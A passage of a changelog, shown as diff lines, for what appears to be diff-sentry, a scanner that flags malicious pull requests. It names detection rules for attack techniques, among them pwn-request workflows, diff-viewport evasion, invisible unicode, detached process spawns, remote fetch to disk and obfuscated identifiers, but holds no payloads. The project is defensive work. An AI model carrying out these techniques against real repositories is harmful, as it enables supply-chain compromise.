seven of its eight stages passing the suite silently, because the rules were shell- and YAML-shaped
|
|
34
|
+
while the attack was Node end to end. Added: `pwn-request` (critical) and `privileged-fork-trigger`
|
|
35
|
+
(medium) for workflow CONFIGURATION as distinct from `workflow-tamper`'s "was a workflow touched";
|
|
36
|
+
`diff-viewport-evasion` and `invisible-unicode` for payloads aimed at the human reading the diff;
|
|
37
|
+
`detached-process-spawn`, `inline-code-exec` and `remote-fetch-to-disk` for Node execution primitives;
|
|
38
|
+
`obfuscated-identifiers` for `_0x…` mangling that base64 detection cannot see; `dynamic-code-eval` and
|
|
39
|
+
`content-addressed-host` (IPFS/permaweb) as sub-floor corroborators. The tuning is the load-bearing
|
|
40
|
+
part: rules that would be noisy alone require two halves to fire, and every rule ships with its negative
|
|
41
|
+
case. Corpus grows by nine entries (six malicious families, three benigns pinning the sub-floor tiers).
|
|
42
|
+
- **`self-scan` CI job** — this repo runs the Action it publishes (`uses: ./`, `version: local`), so every
|
|
43
|
+
PR is an integration test of what users install, scanned by the rules in that PR rather than the ones
|
|
44
|
+
already on main. It caught a real defect on its first run.
|
|
45
|
+
- **`release.yml`** — PyPI publish over OIDC Trusted Publishing, no API token, with a fork guard on the
|
|
46
|
+
publish job. It verifies the ARTIFACT rather than the checkout: the built wheel is installed into a
|
|
47
|
+
clean environment, the console script must actually flag a known-malicious diff, and the tag, the wheel
|
|
48
|
+
filename and the installed `__version__` must all agree before an irreversible upload.
|
|
49
|
+
|
|
50
|
+
### Changed
|
|
51
|
+
- **`rlm-kit` → `rlm-harness`, pinned to `==1.0.0` from PyPI.** The `[tool.uv.sources]` git pointer is
|
|
52
|
+
gone, so nothing in the dependency closure resolves outside PyPI any more — which is what made
|
|
53
|
+
publishing this package possible at all. Imports move to `rlm_harness`.
|
|
54
|
+
- **The rubric adopts the harness's own primitives** (`rlm_harness.rubric`), with `schema` re-exporting
|
|
55
|
+
`Criterion` / `CriterionFact` / `RubricCriteria` for back-compat.
|
|
56
|
+
- **README and package description lead with the Action**, and the local pipeline, studio console,
|
|
57
|
+
trajectory export and fine-tuning path are framed as the second goal rather than the premise.
|
|
58
|
+
- **`uv sync` default-installs the `subscription-sdk` dev group**, so a bare sync stops pruning the Claude
|
|
59
|
+
Agent SDK out of the shared dev venv.
|
|
60
|
+
- **ruff pinned to `0.16.0`** in CI. `uvx ruff` resolves the latest release at run time and ruff's default
|
|
61
|
+
rule set is not a stable contract, so an unpinned lint job goes red overnight with no code change.
|
|
62
|
+
|
|
63
|
+
### Fixed
|
|
64
|
+
- **`scan` no longer flags what a diff deletes.** A unified diff carries removed code as well as added
|
|
65
|
+
code, and the detectors read plain text, so scanning a raw diff flagged a change for the payload it was
|
|
66
|
+
DELETING — the worst failure mode a security gate can have, since it turns every remediation commit red.
|
|
67
|
+
`-` lines are dropped by default; `---` file headers survive and non-diff input is untouched.
|
|
68
|
+
- **The CI self-scan no longer fails on its own explanatory comment.** The comment describing "our files
|
|
69
|
+
carry attack patterns as their job" quoted two payload shapes verbatim, and `.github/` is in the gated
|
|
70
|
+
half, so the commit that introduced the gate failed it. Confirmed as a real red CI run, not a
|
|
71
|
+
hypothetical.
|
|
72
|
+
|
|
73
|
+
## 0.3.0
|
|
74
|
+
|
|
75
|
+
### Added
|
|
76
|
+
- **An ungroundable input yields a principled `inconclusive`, never a confident verdict.** A content-free
|
|
77
|
+
/ unfetchable / not-actually-a-change input (an empty `{}` payload normalizes to `(no textual content)`)
|
|
78
|
+
used to still ship a confident `benign, confidence 0.9`. Now `inconclusive` is a SANCTIONED SUBMIT
|
|
79
|
+
outcome — a 4th `verdict` value (`schema.INCONCLUSIVE_VERDICT`, `SUBMIT_VERDICTS`): the classifier
|
|
80
|
+
prompt sanctions it explicitly (only for a change with no assessable content — NOT an escape hatch for a
|
|
81
|
+
hard-but-real change), and the second-stage `deep_classify` enum validator accepts it. `response` maps
|
|
82
|
+
it to `status="inconclusive"` + `RefusalInfo(reason="insufficient_evidence")` (the pre-existing
|
|
83
|
+
inconclusive envelope, previously unreachable). A host-side deterministic BACKSTOP
|
|
84
|
+
(`normalize.has_groundable_content` over the run's normalized `event`) DOWNGRADES even a confident
|
|
85
|
+
verdict to inconclusive when there is no groundable content — defense-in-depth, read-time. It rides the
|
|
86
|
+
reward-free trajectory as an `inconclusive` OUTCOME label (`rl_export.run_labels`, mirroring the
|
|
87
|
+
clean-negative idea) — a FACT, never a score/reward. The DETERMINISTIC SIEM half is untouched:
|
|
88
|
+
`inconclusive` is not in `emit_on`, so a real high/critical indicator still forces a signal on its own.
|
|
89
|
+
- **Studio: an unrecognized `tool_call` renders its short scalar fields instead of an empty step, and the
|
|
90
|
+
future harness swap keeps its child-rollout link.** The drawer mapper (`iterations._tool_entry`), the
|
|
91
|
+
SSE mapper (`mapper.to_event` — which previously DROPPED an unknown tool from the live feed, now emits a
|
|
92
|
+
generic `detection.tool` event), and the frontend fallback (`trajectory.js` detail + a generic
|
|
93
|
+
icon/`fam-tool` family) all surface an unknown tool's short scalar payload fields (tool, ok, and any
|
|
94
|
+
short string/number fields; bulky raw/preview/spec/hits dropped) as kv rows — never a bare "no detail
|
|
95
|
+
recorded" when fields exist. And `deep_classify.record_tool_call` now attaches `child_run_id` /
|
|
96
|
+
`child_trace` / `child_meta` when the second-stage result carries them (guarded — a NO-OP for today's
|
|
97
|
+
`self` backend, correct for the documented future `make_harness_tool` swap so the parent→child rollout
|
|
98
|
+
link survives the recording step).
|
|
99
|
+
|
|
100
|
+
## 0.2.1
|
|
101
|
+
|
|
102
|
+
### Fixed
|
|
103
|
+
- **The studio launches on a subscription with the SAME command as every rlm-harness sibling.** The studio
|
|
104
|
+
member (`diff-sentry-studio`) was missing a forwarding `subscription` extra, so
|
|
105
|
+
`uv run --package diff-sentry-studio --extra live --extra subscription uvicorn …` was rejected — a
|
|
106
|
+
studio-scoped `uv` command resolves extras against the MEMBER, not the root, and the Claude Agent SDK
|
|
107
|
+
extra lived only on the root. Added `subscription = ["diff-sentry[subscription]"]` to
|
|
108
|
+
`studio/pyproject.toml` (mirroring the sibling harnesses) + a "Subscription mode" section to the studio
|
|
109
|
+
README. Closes a cross-downstream drift (same gap fixed in the siblings); the paired-extras convention
|
|
110
|
+
is documented in rlm-harness's "Building a consumer" guide.
|
|
111
|
+
- **`/v1/config` never surfaces a subscription analyst as the classifier (a config a run couldn't use).**
|
|
112
|
+
The classifier falls back to the analyst (`DS_CLASSIFIER_LM or DS_SUB_LM`), but the classifier is a
|
|
113
|
+
`make_model_tool` endpoint and `from_env` REJECTS a subscription classifier — so with `DS_CLASSIFIER_LM`
|
|
114
|
+
unset and `DS_SUB_LM` a `claude-agent-sdk/…` sentinel, the panel showed a classifier model no run could
|
|
115
|
+
use. Guard it (`_role_or_none`): fall back to the analyst only when it's a real (non-subscription)
|
|
116
|
+
model, else `None`; the analyst role itself still shows through. Same class swept from the sibling
|
|
117
|
+
studios. Studio test added.
|
|
118
|
+
|
|
119
|
+
## 0.2.0
|
|
120
|
+
|
|
121
|
+
### Added
|
|
122
|
+
- **Run the planner + analyst on a Claude Pro/Max SUBSCRIPTION** (no API key). Give `DS_ROOT_LM` /
|
|
123
|
+
`DS_SUB_LM` a `claude-agent-sdk/<model>` value and that role runs on your personal Claude login
|
|
124
|
+
through rlm-harness's `rlm_harness.ClaudeAgentLM` (a `dspy.BaseLM` over `claude-agent-sdk`), injected via
|
|
125
|
+
rlm-harness's `configure(main_lm=, sub_lm=)` seam. Each call is a pure completion — no tools, no
|
|
126
|
+
filesystem, no settings leakage — so the sandbox stays the only place code runs. Opt-in extra:
|
|
127
|
+
`uv sync --extra subscription` (installs the Claude Agent SDK the adapter needs); requires the Claude
|
|
128
|
+
Code CLI logged in and `ANTHROPIC_API_KEY` unset (the adapter refuses to start otherwise). The adapter
|
|
129
|
+
ships in the rlm-harness wheel behind its own `[subscription]` extra (promoted out of `examples/` —
|
|
130
|
+
diff-sentry no longer vendors it). Imported lazily via `from rlm_harness import ClaudeAgentLM` (only in
|
|
131
|
+
`detect.setup()`'s sentinel branch) so `import diff_sentry` stays dspy-free and a proxy-only install
|
|
132
|
+
never pulls the extra. A sentinel-configured run in an env that never installed the extra fails LOUD
|
|
133
|
+
with an actionable error naming `uv sync --extra subscription` (`uv lock` records the extra; only sync
|
|
134
|
+
installs it).
|
|
135
|
+
- **Studio: a page-height three-view stage.** The middle column is ONE verdict-alloy card filling a
|
|
136
|
+
viewport-height grid — all three columns are independent scroll tracks (feed / card / modules; the
|
|
137
|
+
page itself never scrolls, the family pattern), a sticky head keeps the view switch reachable, and
|
|
138
|
+
long attacker-influenced tokens wrap instead of being clipped by the module frame — with a top-right
|
|
139
|
+
**Verdict / Indicators / Change** switch in triage order — Indicators always reachable, refusal
|
|
140
|
+
included. Run telemetry leads the right column (the sibling-console convention); the header's
|
|
141
|
+
`backend:self` chip is gone (API-only metadata now). The Change view is **trace-backed** for pr/issue
|
|
142
|
+
and replayed runs (their diff never reaches the client): it lazily reads the run's own `run_start`
|
|
143
|
+
event via `GET /v1/runs/{id}/iterations` — the exact normalized untrusted content the planner saw —
|
|
144
|
+
through a pure, unit-tested view-state core (`run-core.js:planChangeView`) that can never wedge on
|
|
145
|
+
loading and never reports a transient fetch error as a gone trace. A `[hidden]`-attribute CSS guard
|
|
146
|
+
(with a static contract test) fixes the mode panes and the Trajectory handle rendering while hidden.
|
|
147
|
+
- **The classifier ALWAYS stays on its own OpenAI-compatible endpoint**, never the subscription (mixed
|
|
148
|
+
auth by design). `config.from_env` now REJECTS a `claude-agent-sdk/…` classifier model — set either
|
|
149
|
+
explicitly (`DS_CLASSIFIER_LM`) or inherited from a subscription `DS_SUB_LM` when `DS_CLASSIFIER_LM`
|
|
150
|
+
is unset — with an actionable error: `deep_classify` uses an OpenAI client (not the Agent SDK), the
|
|
151
|
+
tool is ALWAYS registered, and a latent bogus-model-id failure mid-trajectory would burn the one
|
|
152
|
+
hard-budget attempt (`max_retries=1`). A subscription-only end-to-end run is therefore not supported.
|
|
153
|
+
|
|
154
|
+
## 0.1.0
|
|
155
|
+
|
|
156
|
+
The initial consumer: classify → judgement-only verdict (`ChangeVerdict`, no hits field) →
|
|
157
|
+
deterministic-evidence union on read (`assemble_verdict`, MF3) → response → host-side SIEM signal →
|
|
158
|
+
reward-free trajectory export, fully offline-testable (DummyLM / ScriptedInterpreter / injected fakes;
|
|
159
|
+
the detection-quality corpus pins the indicator suite's hit/miss behavior). Includes the metadata
|
|
160
|
+
sandwich (MF1), the GitHub-allowlisted opt-in enrichment fetch (MF2), the in-loop-safe pure-Python
|
|
161
|
+
indicator suite, the `deep_classify` second-stage seam, progressive-disclosure attack skills, the
|
|
162
|
+
offline hackerbot-claw incident reproduction, and the in-repo studio console (a uv workspace member).
|